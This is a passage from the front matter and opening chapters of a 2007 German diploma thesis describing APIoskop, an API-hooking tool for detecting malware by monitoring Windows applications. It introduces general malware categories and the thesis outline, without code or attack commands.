Fachbereich Informatik APIoskop: API
Transcription
Fachbereich Informatik APIoskop: API
Fachbereich Informatik Diplomarbeit APIoskop: API-Hooking for Intrusion Detection Markus Engelberth 03. September 2007 Erstprüfer : Prof. Dr. Felix C. Freiling Zweitprüfer: Prof. Dr. Christian Bischof Betreuer: Thorsten Holz Hiermit versichere ich, dass ich die Arbeit selbständig verfasst und keine anderen als die angegebenen Quellen und Hilfsmittel benutzt sowie Zitate kenntlich gemacht habe. Windeck, den 03. September 2007 Markus Engelberth Abstract While running an application, the user can only see what happens on the outside. However, many operations are hidden, for example, how the application interacts with the operating system, which files are involved, or whether there is some sort of data exchange via a possible network connection. In a nutshell, all activities which take place in the background of an application are invisible for its user. This lack of transparency can be dangerous if applications carry out harmful operations unnoticeably, as, for example, in the case of malware. Within the scope of this diploma thesis, the program APIoskop was developed and implemented. It is supposed to uncover these inner procedures of an application and make them transparent. For the performance of the work they are meant for, Windowsbased applications often make use of the Windows API. This is an interface which is provided by Windows for applications to carry out system-level operations. APIoskop uses the API-Hooking method in order to track Windows API calls by other applications. Furthermore, APIoskop presents all the information which is gained in this way clearly and coherently. Zusammenfassung Während der Ausführung einer Anwendung wird nur dessen nach außen sichtbares Verhalten wahrgenommen. Wie diese Anwendung aber beispielsweise mit dem Betriebsystem zusammenarbeitet, welche Dateien sie liest oder ob sie über ein möglicherweise angeschlossenes Netzwerk Daten verschickt oder empfängt, bleibt normalerweise im Verborgenen. Kurz gesagt: Alle Aktivitäten, welche im Hintergrund einer Anwendung ablaufen, sind für deren Benutzer nicht sichtbar. Gefährlich wird diese fehlende Transparenz, wenn Anwendungen unbemerkt schadhafte Handlungen ausführen, wie dies zum Beispiel bei Malware der Fall ist. Im Rahmen dieser Diplomarbeit wurde das Programm APIoskop entwickelt und implementiert, welches diese inneren Abläufe einer zu überwachenden Anwendung transparent und sichtbar machen soll. Zur Durchführung der ihnen zugedachten Arbeit machen Windowsanwendungen häufig Gebrauch von der Windows API. Dies ist eine Schnittstelle, welche von Windows angeboten wird, damit Anwendungen systemnahe Operationen durchführen können. APIoskop setzt die API-Hooking-Technik ein, um so Funktionsaufrufe der Windows API durch andere Anwendungen zu registrieren. Des Weiteren werden die auf diese Weise gesammelten Informationen dem Benutzer von APIoskop übersichtlich und verständlich präsentiert. Inhaltsverzeichnis Abbildungsverzeichnis xi Tabellenverzeichnis 1. Einführung 1.1. Motivation . . . . . . . . . . 1.2. Aufgabenstellung . . . . . . 1.3. APIoskop . . . . . . . . . . 1.4. Resultate . . . . . . . . . . 1.5. Gliederung der Diplomarbeit 1.6. Danksagung . . . . . . . . . xiii . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 2 2 3 4 4 5 2. Grundlagen der Computersicherheit 2.1. Malware . . . . . . . . . . . . . . . . . 2.1.1. Viren . . . . . . . . . . . . . . . 2.1.2. Würmer . . . . . . . . . . . . . 2.1.3. Bots . . . . . . . . . . . . . . . 2.1.4. Trojanische Pferde . . . . . . . 2.1.5. Backdoor-Programme . . . . . . 2.1.6. Spyware . . . . . . . . . . . . . 2.1.7. Rootkits . . . . . . . . . . . . . 2.2. Schwachstellen . . . . . . . . . . . . . . 2.2.1. Beispiel für eine Schwachstelle . 2.2.2. Ausnutzen von Schwachstellen . 2.3. Intrusion Detection . . . . . . . . . . . 2.3.1. Ansatzpunkte für IDS . . . . . 2.3.1.1. Host-basierte IDS . . . 2.3.1.2. Netzwerk-basierte IDS 2.3.2. IDS-Komponenten . . . . . . . 2.3.3. Bekannte IDS . . . . . . . . . . 2.4. Related Work . . . . . . . . . . . . . . 2.5. Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 7 8 9 9 9 10 10 10 10 11 12 13 14 14 15 16 17 17 18 3. Windowsgrundlagen und API-Hooking 3.1. Das PE-Dateiformat . . . . . . . . . 3.2. Windows API und Native API . . . . 3.2.1. Native API . . . . . . . . . . 3.2.2. Aufrufketten . . . . . . . . . . 3.3. API-Hooking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 21 23 24 25 27 . . . . . vii Inhaltsverzeichnis 3.3.1. Einsatzmöglichkeiten . . . . 3.3.2. Generelle Überlegungen zum 3.3.3. API-Hooking im Detail . . . 3.3.4. DLL Injektion . . . . . . . . 3.3.5. Installation der Hooks . . . 3.3.6. Hooking im Kernelmodus . 3.4. Zusammenfassung . . . . . . . . . . . . . . . Hooking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 28 28 29 31 35 36 . . . . . . . . . . . . . . . . . . . . . . 39 40 41 42 44 44 47 48 50 51 52 55 57 58 60 60 63 65 67 70 72 74 75 . . . . . 77 77 83 84 85 88 6. Zusammenfassung und Future Work 6.1. Future Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2. Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89 89 90 A. Gehookte Funktionen A.1. Dateisystemfunktionen A.2. Netzwerkfunktionen . . A.3. Registryfunktionen . . A.4. Prozessfunktionen . . . 95 95 96 96 98 4. APIoskop 4.1. Funktionen . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2. Arbeitsweise von APIoskop . . . . . . . . . . . . . . . . . . 4.3. Benutzeroberfläche . . . . . . . . . . . . . . . . . . . . . . 4.3.1. Prozessauswahl . . . . . . . . . . . . . . . . . . . . 4.3.2. Ausgabeliste . . . . . . . . . . . . . . . . . . . . . . 4.3.3. Datenansicht . . . . . . . . . . . . . . . . . . . . . 4.3.4. Einstellungen . . . . . . . . . . . . . . . . . . . . . 4.3.5. Auswahl von Office-Dokumenten . . . . . . . . . . 4.4. Implementierung . . . . . . . . . . . . . . . . . . . . . . . 4.4.1. Interprozesskommunikation . . . . . . . . . . . . . 4.4.1.1. Benachrichtigungsformat . . . . . . . . . . 4.4.1.2. Die Funktion Log . . . . . . . . . . . . . . 4.4.1.3. Parameterübergabe . . . . . . . . . . . . . 4.4.2. Hook-Funktionen . . . . . . . . . . . . . . . . . . . 4.4.2.1. Initialisierungsabschnitt der HookLibrary 4.4.2.2. ReadFile . . . . . . . . . . . . . . . . . . 4.4.2.3. RecvFrom . . . . . . . . . . . . . . . . . . 4.4.2.4. CreateProcess . . . . . . . . . . . . . . . . 4.4.2.5. Vom Socket zum Hostnamen . . . . . . . 4.4.2.6. Vom Keyhandle zum Schlüsselnamen . . . 4.4.3. Fernsteuerung der Office-Anwendungen . . . . . . . 4.5. Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . 5. Resultate 5.1. Beispiellauf . . . . . . . . . . . . . . 5.2. Performance-Messungen . . . . . . . 5.2.1. Ladezeiten von Internetseiten 5.2.2. Öffnen von Word-Dokumenten 5.3. Zusammenfassung . . . . . . . . . . . viii . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Inhaltsverzeichnis B. Kommentarerklärungen B.1. OpenFile . . . . . . . . . . . . . B.2. NtCreateFile . . . . . . . . . . B.3. CreateFile . . . . . . . . . . . . B.4. Funktionen zum Empfangen von Bibliography . . . . . . . . . . . . . . . . . . . . . . . . . . . Datagrammen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 . 99 . 100 . 100 . 101 102 ix Inhaltsverzeichnis x Abbildungsverzeichnis 2.1. Stack Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2. NIDS (rötlich) und HIDS (bläulich) . . . . . . . . . . . . . . . . . . . . . 12 15 3.1. 3.2. 3.3. 3.4. Das PE-Dateiformat . . . . . . . . . . . . . . . . . . . . . . . Die wichtigsten DLLs der Windows API im Zusammenhang . Aufrufkette der Funktion RegSetValueA . . . . . . . . . . . . . Inline Hooking: (a) vor dem Setzen des Hooks und (b) danach. . . . . . . . . . . . . . . . . . . . . . . . . 22 25 26 33 4.1. Funktionsweise von APIoskop . . . . . . . . . . . . . . . . . . . . . 4.2. Hauptfenster von APIoskop . . . . . . . . . . . . . . . . . . . . . . 4.3. Prozessauswahl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.4. Datenansicht . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.5. Einstellungsfenster . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.6. Dialog zum Auswählen von Office-Dokumenten . . . . . . . . . . . . 4.7. Interprozesskommunikation zwischen APIoskop und der HookLibrary 4.8. Funktion Log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.9. Initialisierung der HookLibrary . . . . . . . . . . . . . . . . . . . . 4.10. Funktion ReadFile_Callback . . . . . . . . . . . . . . . . . . . . . . 4.11. Funktion RecvFrom_Callback . . . . . . . . . . . . . . . . . . . . . 4.12. Funktion CreateProcessW_Callback . . . . . . . . . . . . . . . . . . 4.13. Vom Socket zum Hostnamen . . . . . . . . . . . . . . . . . . . . . . 4.14. Datenstruktur zur Zuordnung von Schlüsselname zu Keyhandle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 43 45 48 49 51 54 58 61 64 67 69 71 73 5.1. Online Malware Scan der Datei a.exe . . . . . . . . . . . . . . . . . . . . 5.2. Durchschnittliche Ladezeiten mit und ohne APIoskop (in Sekunden) . . . 5.3. Durchschnittliche Dauer zum Öffnen von Word-Dokumenten (in ms) . . . 82 85 87 . . . . . . . xi Tabellenverzeichnis 4.1. 4.2. 4.3. 4.4. 4.5. 4.6. Informationen in der Ausgabeliste . . . . . Nachrichtenformat von APIoskop . . . . . Datentyp für die Parameterübergabe . . . . Interface der API-Funktion ReadFile . . . Interface der API-Funktion RecvFrom . . . Interface der API-Funktion CreateProcess . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 56 59 63 66 68 5.1. Ladezeiten ohne APIoskop (in Sekunden) . . . . . . . . . . . . . . . . . . 5.2. Ladezeiten bei Überwachung durch APIoskop (in Sekunden) . . . . . . . . 5.3. Dauer zum Öffnen von Word-Dokumenten (in ms) . . . . . . . . . . . . . 84 84 86 xiii Kapitel 1. Einführung Mit der raschen Expansion des Internets in den letzten Jahren ergeben sich immer mehr neue Wege zur Softwareverbreitung. Neben gewöhnlichen Downloads existiert auch die Möglichkeit, Software per E-Mail, Tauschbörsen oder Messengerprogrammen in Umlauf zu bringen. Diese Verbreitungswege haben auch Programmierer von Malware für sich entdeckt, so dass in den letzten Jahren eine steigende Anzahl von Malware zu verzeichnen ist. Zudem bietet diese zunehmende Vernetzung der Computer den Autoren die Chance, Schadprogramme zu schreiben, die sich vollständig autonom und rasend schnell verbreiten. Der im Jahre 2000 freigesetzte Computerwurm LoveLetter, der sich per EMail verbreitete und seine Empfänger mit einer angeblichen Liebeserklärung köderte, erreichte beispielsweise am ersten Tag seines Auftretens bereits mehrere Millionen Empfänger. Neben der offensichtlichen Tatsache, dass Computerbenutzer keine Programme wünschen, die eine unerwünschte Funktionalität besitzen, entstehen dem Benutzer durch Malware noch weitere Unannehmlichkeiten. Da diese Schadprogramme an sich auch normale Anwendungen sind, binden sie bei ihrer Ausführung und Verbreitung natürlich auch Ressourcen. So benötigen sie zum Beispiel CPU-Zeit, belegen Platz auf der Festplatte und im Arbeitsspeicher oder mindern die Bandbreite der angeschlossenen Netzwerke. All diese Ressourcen stehen einem Computerbenutzer für seine eigentliche Arbeit am PC dann nicht mehr zur Verfügung. Abgesehen davon, dass Malware in unerwünschter Weise Ressourcen bindet, richten diese Schadprogramme auch enormen wirtschaftlichen Schaden an. Schätzungsweise verursachte der LoveLetter Wurm, durch ausgefallene Systeme, einen Schaden von ca. 3 Milliarden Euro [nt05]. Aber auch Heimanwendern entsteht ein finanzielles Risiko durch Malware. Oftmals versucht diese Art von Programmen, auch private Daten auszuspionieren, wie zum Beispiel Bankdaten oder Kreditkarteninformationen. Im Laufe der Jahre hat sich ein regelrechter Wirtschaftszweig um den Bereich der Malware gebildet. Neben Firmen, welche Anti-Malware-Lösungen, beispielsweise Virenscanner oder Firewalls anbieten, existieren auch Firmen, die gezielt Malware benutzen, um ihre Marktchancen und Gewinne zu verbessern. Dies geschieht etwa durch das Ausspionieren des Surfverhaltens von Benutzern, damit diesen gezielt auf sie zugeschnittene Werbung angeboten werden kann. All dies macht Malware zu einer ernstzunehmenden Bedrohung, welche einen immer grösseren Stellenwert im Bereich der Computersicherheit einnimmt. 1 Kapitel 1. Einführung Auch ganz aktuell steht das Thema Malware im Blickpunkt der Öffentlichkeit. Vor wenigen Wochen ist bekannt geworden, dass das Bundeskriminalamt im Rahmen des Programms zur Stärkung der Inneren Sicherheit Online-Durchsuchungen1 durchführen möchte. Diese sollen durch einen Trojaner realisiert werden, welcher per E-Mail verschickt wird. Wenige Tage später wurde ein weiterer Fall2 öffentlich, der einen Bezug zu dem Thema der Diplomarbeit hat: Die Bundesregierung ist selbst das Opfer einer Spionage-Attacke geworden. Auf zahlreichen Computern des Kanzleramts wurden Trojaner gefunden, welche vermutlich aus China kommen. 1.1. Motivation In Anbetracht der wirtschaftlichen Risiken und der mit Malware verbundenen Systembelastung, ist es nicht schwer nachvollziehbar, dass die meisten Benutzer keine Malware auf ihrem Rechnersystem installiert haben wollen. Aus diesem Grund lassen sich die Autoren der Schadprogramme immer neue und immer raffiniertere Techniken einfallen, wie sie ihre Anwendungen versteckt auf einen Zielrechner transportieren können. In den meisten Fällen geschieht dies ohne Zustimmung und Wissen des Computerbenutzers. Häufig werden Schwachstellen in Programmen ausgenutzt, um diese zu exploiten und somit ein System zu kompromittieren. Dazu wird fremder Code in ein solches Programm eingeschleust, ohne dass der Benutzer etwas davon merkt. Dieser Code besitzt im Allgemeinen eine Funktionalität, die vom Benutzer des Programms nicht erwünscht ist, wie zum Beispiel das Löschen von Dateien, die Umgehung von installierten Sicherheitsmechanismen, das Weiterleiten von vertraulichen Informationen an nicht autorisierte Dritte oder eben das Installieren von weiterer Malware. Beispielsweise kann in Microsoft Powerpoint durch das Öffnen einer auf diesen Zweck hin präparierten Präsentation eine Schwachstelle ausgenutzt werden, um gezielt Spyware einzuschleusen (siehe beispielsweise http://vil.nai.com/vil/content/v140666.htm). Viele weitere solcher Client-side Exploits, dies sind kleine Programme, die Schwachstellen in lokalen Anwendungen ausnutzen, wurden in den letzten Monaten veröffentlicht. Diese stellen eine Gefahr innerhalb des Internets dar. 1.2. Aufgabenstellung Wegen dieser Gefahr soll im Rahmen dieser Diplomarbeit ein Programm entwickelt werden, welches dynamische Prozesse unter Windows überwacht und einen Teil deren Aktivitäten protokolliert. Sinn dieses Programms ist es, Anomalien von anderen Programmen zu entdecken. Um dies zu realisieren, soll durch das zu entwickelnde Programm das Verhalten der anderen Programme transparent gemacht werden, da sich dieses Verhalten durch den eingeschleusten, fremden Code ändert. Auf diese Weise sollen mögliche ZeroDay-Angriffe, d.h. Angriffe auf neu entdeckte Schwachstellen, für die es noch keinen 1 2 2 http://www.zdnet.de/security/news/0,39029460,39157305,00.htm http://www.zdnet.de/security/news/0,39029460,39157270,00.htm 1.3. APIoskop Patch gibt, erkannt werden. In letzter Zeit werden solche Angriffe bei Angreifern immer beliebter. Häufig erstellen diese gezielt und unmittelbar nach dem Bekanntwerden von Schwachstellen in Office-Anwendungen präparierte Office-Dokumente, welche sie per E-Mail verbreiten. 1.3. APIoskop Damit sich Benutzer vor Malware schützen können, müssen auch die Autoren der AntiMalware-Programme zu immer ausgeklügelteren und raffinierteren Techniken greifen. Das in dieser Diplomarbeit entwickelte Programm realisiert die Überwachung der dynamischen Prozesse durch eine Technik, welche sich API-Hooking nennt. Durch diese Technik ist es möglich, Aufrufe von API-Funktionen anderer Programme abzufangen und auf eigene Funktionen umzulenken. Wegen dieser verwendeten Technik, hat das hier entwickelte Tool den Namen APIoskop erhalten. Der Name ist angelehnt an den Namen eines medizinisches Geräts – das Endoskop. Mit einem Endoskop können Ärzte das Innere eines Körpers untersuchen. Und da das in der Zeit der Diplomarbeit erstellte Programm die API-Aufrufe fremder Programme überwacht, entstand so der Name APIoskop. APIoskop nutzt die API-Hooking-Technik, um das innere Verhalten und die normalerweise nicht erkennbaren Aktivitäten des zu überwachenden Programms sichtbar zu machen und diese dem Benutzer zu präsentieren. Überwacht werden unter anderem Aktivitäten und Funktionen aus folgenden Funktionsbereichen: • Änderungen am Dateisystem: Welche Dateien und Verzeichnisse werden von dem Zielprogramm erstellt oder gelöscht? Dabei werden auch die Änderungen am Dateisystem protokolliert, die nach der Ausführung des Fremdcodes nicht mehr sichtbar sind, wie z.B. das zwischenzeitliche Erstellen einer temporären Datei, die kurze Zeit später wieder gelöscht wird. • Änderungen an der Windows-Registry: Welche Schlüssel und Werte werden vom zu überwachenden Programm erstellt, gelesen oder gelöscht? • Kommunikation mit anderen Rechnern in angeschlossenen Netzwerken: Öffnet das Zielprogramm eine Verbindung und verschickt Daten an andere Rechner? Oder werden Daten von einem anderen Rechner empfangen? Insbesondere ist es hier interessant zu wissen, ob Daten ins oder aus dem Internet geschickt werden. • Prozessverwaltung: Erstellt das zu überwachende Programm weitere Prozesse oder beendet es andere Prozesse? Falls es weitere Prozesse erstellt, so werden diese automatisch auch auf die hier genannten Aktivitäten hin überwacht. 3 Kapitel 1. Einführung 1.4. Resultate Wie eine Überwachung mit APIoskop ablaufen kann, zeigt das fünfte Kapitel. Dort wird beispielhaft eine Überwachung des Internet Explorers von Microsoft durchgeführt. Während der Überwachung wird mit diesem Browser eine infizierte HTML-Datei geöffnet. An den durch APIoskop gesammelten Informationen über die API-Aufrufe des Internet Explorers lässt sich sehr gut erkennen, welche Aktivitäten er im Zuge der Dateiöffnung durchführt: Er lädt eine ausführbare Datei herunter und bringt diese zur Ausführung. Nach eine Überprüfung mittels einen Online Malware Scanners stellte sich diese Datei als ein Keylogger heraus, dessen Aktivitäten selbst wieder durch APIoskop sichbar gemacht werden. Die genauen Resultate und auch die registrierten Funktionsaufrufe finden sich in Kapitel 5.1. Des Weiteren stellte sich durch Performance-Messungen heraus, dass die Performance des Zielprogramms durch eine Überwachung der Registry-Funktionen spürbar sinkt. Wird stattdessen nur ein Teil der zur Überwachung angebotenen Registry-Funktionen gehookt, so fällt dieser Performanceverlust wesentlich geringer aus. Hingegen ergab eine Überwachung des Browsers Mozilla Firefox, dass das Laden von Internetseiten durch eine Überwachung per APIoskop kaum beeinflusst wird. 1.5. Gliederung der Diplomarbeit Die gesamte Diplomarbeit ist in fünf Kapitel unterteilt. Zu Beginn eines jeden Kapitels werden dessen Inhalte in einer kurzen Einführung vorgestellt. Eine Zusammenfassung bildet jeweils das Ende der Kapitel. In dieser werden die wichtigsten Punkte des entsprechenden Kapitels noch einmal kurz hervorgehoben. Nach einer kurzen Einführung durch das erste Kapitel folgt das zweite Kapitel. In diesem werden grundlegende Begriffe aus dem Bereich der Computersicherheit vorgestellt und beschrieben. Am Anfang des Kapitels werden verschiedene Arten von Malware erläutert und erklärt, wie sich diese voneinander unterscheiden. Viele Malwarearten nutzen Schwachstellen in Anwendungen aus, um in ein fremdes Rechnersystem einzudringen und sich so zu verbreiten. Der Begriff der Schwachstelle wird in einem weiteren Unterkapitel erläutert. Anschließend behandelt dieses Kapitels sogenannte Intrusion Detection Systeme. Dies sind Werkzeuge, die einen Benutzer dabei unterstützen, solch ein Eindringen zu erkennen. Der Schluss dieses Kapitels stellt einige Tools vor, die APIoskop ähnlich sind. Da APIoskop für den Gebrauch auf Windowssystemen entwickelt wurde, behandelt das dritte Kapitel Grundlagen von Windows. Zudem wird eine Technik vorgestellt, welche eine zentrale Rolle bei der Implementierung von APIoskop spielt - das API-Hooking. Unter Windows sind alle ausführbaren Dateien nach dem Portable Executable File Format strukturiert, mit welchem sich das erste Unterkapitel beschäftigt. Anschließend wird mit der Windows API eine Programmierschnittstelle beschrieben, die Windows Programmierern zur Verfügung stellt, um systemnahe Operationen durchführen zu lassen. Abschließend wird in diesem Kapitel das API-Hooking betrachtet. Dies ist eine Technik, 4 1.6. Danksagung mit der es möglich ist, Funktionsaufrufe der Windows API abzufangen und auf eigene Funktionen umzulenken. Das wohl wichtigste Kapitel dieser Diplomarbeit stellt Kapitel Vier dar, denn in diesem wird APIoskop genau beschrieben. Dazu werden als erstes die Funktionen beziehungsweise die Möglichkeiten von APIoskop genannt, welche dieses seinen Benutzern anbietet. Anschließend folgt in diesem Kapitel eine Skizzierung der Funktionsweise von APIoskop, um danach dessen Benutzeroberfläche vorzustellen. Dabei werden alle möglichen Fenster dieser graphischen Schnittstelle gezeigt und deren Elemente beschrieben. Nach der Beschreibung der Benutzeroberfläche folgt das zweite große Unterkapitel. Dieses hat die Implementierung von APIoskop zum Thema. Neben einer Beschreibung der Hook-Funktionen und einem Unterkapitel, welches sich mit der Fernsteuerung von OfficeAnwendungen beschäftigt, wird hier auch umfangreich auf die verwendete Methode der Interprozesskommunikation eingegangen. Das fünfte Kapitel widmet sich den Resultaten von APIoskop. Da mit einem Tool wie APIoskop keine Resultate im Sinne von messbaren Kenngrößen erzielt werden können, wird in diesem Kapitel ein Beispiellauf von APIoskop präsentiert. Zudem wurden einige Messungen durchgeführt, die zeigen, in welchem Umfang eine Überwachung durch APIoskop die Performance der überwachten Anwendungen beeinflusst. Das abschließende Kapitel Sechs fasst die wesentlichen Punkte der Diplomarbeit noch einmal zusammen. Zudem bietet es einen Ausblick darüber, welche Änderungen und Erweiterungen in Zukunft für APIoskop geplant sind. 1.6. Danksagung Mein erster Dank geht an Prof. Dr. Freiling, welcher mir die Möglichkeit gab, eine Diplomarbeit zu einem solch interessanten Thema zu schreiben. Zudem freute mich dies besonders, da er erst kurz vor dem Ende meiner Studienzeit einen Lehrstuhl an der Universität in Mannheim übernommen hat, und ich dennoch meine letzte Diplomprüfung bei ihm ablegen durfte. Des Weiteren möchte ich mich bei Prof. Dr. Bischof bedanken, welcher ohne jegliches Zögern zugestimmt hat, mein Zweitprüfer zu werden. Im gleichen Maße danke ich auch Thorsten Holz, der mich trotz seiner eigenen Arbeiten bei der Erstellung meiner Diplomarbeit betreut hat. Zudem gilt ihm mein Dank, da er mir für das Testen von APIoskop speziell präparierte HTML-Dateien zur Verfügung gestellt hat. Bei der Implementierung von APIoskop, war mir das Buch Windows NT/2000 Native API Reference [Neb00] eine grosse Hilfe, welches ich durch Carsten Willems erhalten habe. Zum Schluss danke ich auch meinem Vater Gerd Engelberth und meinem Freund Michael Singer, die in der Endphase dieser Diplomarbeit viel Zeit für das Korrekturlesen aufgebracht haben. 5 Kapitel 1. Einführung 6 Kapitel 2. Grundlagen der Computersicherheit Da sich die Diplomarbeit mit vielen Aspekten der Computersicherheit beschäftigt, werden in diesem Kapitel grundlegende Begriffe aus diesem Bereich vorgestellt und beschrieben. Dieses Kapitel soll dem Leser näher bringen, welche möglichen Gefahren im Bereich der Computer existieren, wie diese aussehen und wodurch sie verursacht werden. Außerdem soll es dazu beitragen, dass der Leser den Sinn und Zweck hinter einem Tool wie APIoskop besser versteht. Eine dieser möglichen Gefahren ist Malware. Eine kurze Einführung zu dieser schadhaften Software bietet Unterkapitel 2.1. Dieses fängt mit einer generellen Beschreibung von Malware an, und anschließend werden verschiedene Kategorien von Malware vorgestellt und charakterisiert. Obwohl eine klare Einteilung in diese Kategorien nicht so einfach ist, werden die wichtigsten Eigenschaften der einzelnen Arten von Malware erläutert. Das anschließende Unterkapitel 2.2 geht auf den Begriff der Schwachstelle ein. Schwachstellen sind Fehler in Programmen und gleichzeitig die häufigste Ursache dafür, dass sich Malware auf einem Computer installieren kann. Außerdem wird der Begriff der Schwachstelle an einem kleinen Beispiel veranschaulicht, und es wird erklärt, wie der übliche Weg aussieht, um Schwachstellen auszunutzen. Falls es passieren sollte, dass ein Angreifer, beispielsweise durch das Ausnutzen einer Schwachstelle, in das System eindringt, so wäre es wünschenswert, dies schnell zu erkennen. Es existieren Werkzeuge, welche unter dem Begriff Intrusion Detection Systeme zusammengefasst werden und deren Ziel es ist, das Erkennen eines Einbruchs (Intrusion Detection) zu unterstützen. Mit dieser Einbruchserkennung beschäftigt sich Unterkapitel 2.3. Abschließend werden einige Tools vorgestellt, die eine Ähnlichkeit zu APIoskop aufweisen. Diese Ähnlichkeit bezieht sich neben der Funktionalität auch auf die verwendeten Techniken der Tools, welche zu deren Umsetzung benutzt wurden. 2.1. Malware Der Begriff Malware setzt sich aus den beiden englischen Wörtern malicious (dt. böswillig) und software zusammen. Als Malware werden somit Computerprogramme bezeichnet, die teilweise oder ausschließlich eine unerwünschte und schädliche Funktionalität 7 Kapitel 2. Grundlagen der Computersicherheit besitzen. Mögliche Schadfunktionen von Malware können zum Beispiel das Löschen von Dateien oder die Umgehung von installierter Sicherheitssoftware sein. Eine ebenfalls weit verbreitete und vom Computerbenutzer unerwünschte Funktionalität von Malware ist das Lesen und Verschicken von Daten an Dritte, die dadurch unautorisierte Einsicht in diese Informationen ermöglicht bekommen. Häufig ist der Empfänger der Daten der Malwareprogrammierer selbst. Ein dazu passendes, konkretes Beispiel wäre ein Programm, das die Tastatureingaben eines ahnungslosen Benutzers mitprotokolliert und diese dann in regelmäßigen Abständen über das Internet an eine dritte Person verschickt, mit dem Ziel, an Passwörter oder Kreditkarteninformationen zu gelangen. Meist ist Malware so programmiert, dass diese schadhafte Funktionalität dem Benutzer eines Computers verborgen bleibt und ohne dessen Einwilligung zur Ausführung kommt. Das Entfernen von Malware ist normalerweise mit einem hohen Aufwand verbunden, da sie sich sehr tief in das Computersystem einnistet. So lassen sich nur äußerst mühsam alle Teile dieser schädlichen Software entfernen. Oft bleiben Malwarefragmente nach der Entfernung im System zurück und können immer noch Schaden anrichten. Die Entfernung wird zusätzlich noch dadurch erschwert, dass verschiedene Malwarearten ihre Bestandteile vor dem Benutzer und vor dem System verstecken. Dies ist beispielsweise dadurch möglich, dass fremder Code in die Abarbeitung eines Systembefehls geschleust wird, der dafür sorgt, dass dieser Systembefehl die zu versteckenden Objekte ignoriert. Der Systembefehl FindNextFile liefert die nächste Datei eines Verzeichnisses. Zum Beispiel kann Malware den Befehl so verändern, dass, wenn die nächste Datei in einem Verzeichnis hidden.exe ist, der manipulierte Systembefehl diese überspringt und die übernächste Datei zurückliefert. Unter dem Begriff Malware werden mehrere Arten von Software zusammengefasst. Gemein ist ihnen die schadhafte Funktionalität, aber dennoch können sie nach ihrer Funktionsweise, dem Sinn und Zweck ihrer Ausführung und nach der Art ihrer Ausbreitung unterschieden werden. Meist fällt diese Unterscheidung aber sehr schwer, und der Übergang von einer Variante zur nächsten Variante von Malware ist fließend, da Malware einer Kategorie oft auch Eigenschaften einer anderen Kategorie aufweist. Im Folgenden werden die am häufigsten anzutreffenden Arten von Malware kurz vorgestellt. Die Liste der hier vorgestellten Malwarearten ist aber keineswegs vollständig, reicht aber für dieses Grundlagenkapitel aus. Eine gute Übersicht bietet das Buch Malware: Fighting Malicious Code [uLZ03]. 2.1.1. Viren Die Einteilung eines Programms in die Kategorie Virus geschieht nach der Verbreitungsweise des Programms. Viren verbreiten sich durch die Weitergabe von infizierten Dateien durch den Benutzer. Viren benötigen ein Wirtsprogramm und sind selbstreproduzierend, d.h. wird ein infiziertes Programm gestartet, so wird der Virus aktiv und sucht nach anderen Programmdateien auf dem Rechner und kopiert sich selbständig in diese, so dass diese dann ebenfalls infiziert sind. Zum einen existieren anhängende Viren, die sich an die Programmdatei anhängen. Dadurch behält das Wirtsprogramm seine Funktionalität, 8 2.1. Malware jedoch verändert sich bei dieser Infektionsmethode die Dateigröße, was zu einer leichteren Erkennung der Infektion führt. Zum anderen gibt es überschreibende Viren, d.h. der Programmcode wird vom Schadcode überschrieben. Daraus resultiert eine schwerere Erkennbarkeit, aber auch, dass das Wirtsprogramm seine Funktionalität verliert. Insgesamt gibt es viele Arten von 